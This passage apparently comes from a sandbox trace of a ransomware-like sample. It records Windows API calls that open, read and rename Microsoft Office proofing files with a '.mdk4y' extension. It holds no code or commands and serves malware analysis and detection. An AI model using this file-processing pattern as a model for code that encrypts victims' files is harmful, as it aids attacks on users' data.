Office\\Office14\\PROOF\\MSHY7ES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.dll.mdk4y")) returned 1 [0236.688] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.688] AreFileApisANSI () returned 1 [0236.688] GetACP () returned 0x4e4 [0236.688] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSHY7ES.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSHY7ES.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.688] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831192000000) returned 1 [0236.690] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23800, lpOverlapped=0x0) returned 1 [0236.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831194800000) returned 1 [0236.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831194800000) returned 1 [0236.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.lex.mdk4y")) returned 1 [0236.722] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.722] AreFileApisANSI () returned 1 [0236.722] GetACP () returned 0x4e4 [0236.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSHY7FR.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSHY7FR.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0236.722] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831195300000) returned 1 [0236.724] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36988, lpOverlapped=0x0) returned 1 [0236.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831196900000) returned 1 [0236.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831196900000) returned 1 [0236.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.dll.mdk4y")) returned 1 [0236.742] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.742] AreFileApisANSI () returned 1 [0236.742] GetACP () returned 0x4e4 [0236.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSHY7FR.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSHY7FR.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831197300000) returned 1 [0236.743] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43e00, lpOverlapped=0x0) returned 1 [0236.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831201300000) returned 1 [0236.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831201300000) returned 1 [0236.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.lex.mdk4y")) returned 1 [0236.787] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.787] AreFileApisANSI () returned 1 [0236.787] GetACP () returned 0x4e4 [0236.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7EN.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7EN.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0236.787] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831201900000) returned 1 [0236.789] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0236.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831204600000) returned 1 [0236.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831204600000) returned 1 [0236.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll.mdk4y")) returned 1 [0236.865] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.865] AreFileApisANSI () returned 1 [0236.865] GetACP () returned 0x4e4 [0236.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7EN.dub", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7EN.dub", lpUsedDefaultChar=0x37df4c) returned 11 [0236.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831209700000) returned 1 [0236.867] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1302, lpOverlapped=0x0) returned 1 [0236.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831210200000) returned 1 [0236.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831210200000) returned 1 [0236.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dub.mdk4y")) returned 1 [0236.873] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.873] AreFileApisANSI () returned 1 [0236.873] GetACP () returned 0x4e4 [0236.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7EN.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7EN.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0236.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831210400000) returned 1 [0236.874] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0236.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831213100000) returned 1 [0236.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831213100000) returned 1 [0236.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.lex.mdk4y")) returned 1 [0236.911] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.911] AreFileApisANSI () returned 1 [0236.911] GetACP () returned 0x4e4 [0236.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7ES.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7ES.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0236.911] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0236.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831214300000) returned 1 [0236.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0236.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831216900000) returned 1 [0236.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831216900000) returned 1 [0236.951] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll.mdk4y")) returned 1 [0236.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0236.974] AreFileApisANSI () returned 1 [0236.974] GetACP () returned 0x4e4 [0236.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7ES.dub", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7ES.dub", lpUsedDefaultChar=0x37df4c) returned 11 [0236.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831224000000) returned 1 [0237.011] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10, lpOverlapped=0x0) returned 1 [0237.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831224100000) returned 1 [0237.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831224100000) returned 1 [0237.012] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dub.mdk4y")) returned 1 [0237.013] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.013] AreFileApisANSI () returned 1 [0237.013] GetACP () returned 0x4e4 [0237.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7ES.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7ES.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0237.013] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831224400000) returned 1 [0237.014] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0237.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831229600000) returned 1 [0237.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831229600000) returned 1 [0237.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex.mdk4y")) returned 1 [0237.076] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.076] AreFileApisANSI () returned 1 [0237.076] GetACP () returned 0x4e4 [0237.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7FR.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7FR.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0237.076] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831230800000) returned 1 [0237.078] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0237.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831234100000) returned 1 [0237.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831234100000) returned 1 [0237.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll.mdk4y")) returned 1 [0237.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.121] AreFileApisANSI () returned 1 [0237.121] GetACP () returned 0x4e4 [0237.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7FR.dub", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7FR.dub", lpUsedDefaultChar=0x37df4c) returned 11 [0237.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dub"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831235300000) returned 1 [0237.123] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10, lpOverlapped=0x0) returned 1 [0237.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831235400000) returned 1 [0237.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831235400000) returned 1 [0237.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dub.mdk4y")) returned 1 [0237.126] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.126] AreFileApisANSI () returned 1 [0237.126] GetACP () returned 0x4e4 [0237.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSP7FR.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSP7FR.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0237.126] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831235800000) returned 1 [0237.128] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0237.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831239900000) returned 1 [0237.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831239900000) returned 1 [0237.177] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex.mdk4y")) returned 1 [0237.179] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.179] AreFileApisANSI () returned 1 [0237.179] GetACP () returned 0x4e4 [0237.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTH7EN.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTH7EN.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0237.179] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831241100000) returned 1 [0237.181] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ef80, lpOverlapped=0x0) returned 1 [0237.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831242800000) returned 1 [0237.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831242800000) returned 1 [0237.202] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.dll.mdk4y")) returned 1 [0237.204] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.204] AreFileApisANSI () returned 1 [0237.204] GetACP () returned 0x4e4 [0237.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTH7EN.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTH7EN.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0237.204] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831243600000) returned 1 [0237.206] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0237.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831247000000) returned 1 [0237.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831247000000) returned 1 [0237.248] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex.mdk4y")) returned 1 [0237.250] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.250] AreFileApisANSI () returned 1 [0237.250] GetACP () returned 0x4e4 [0237.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTH7ES.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTH7ES.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0237.250] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.DLL" (normalized: "c:\\program 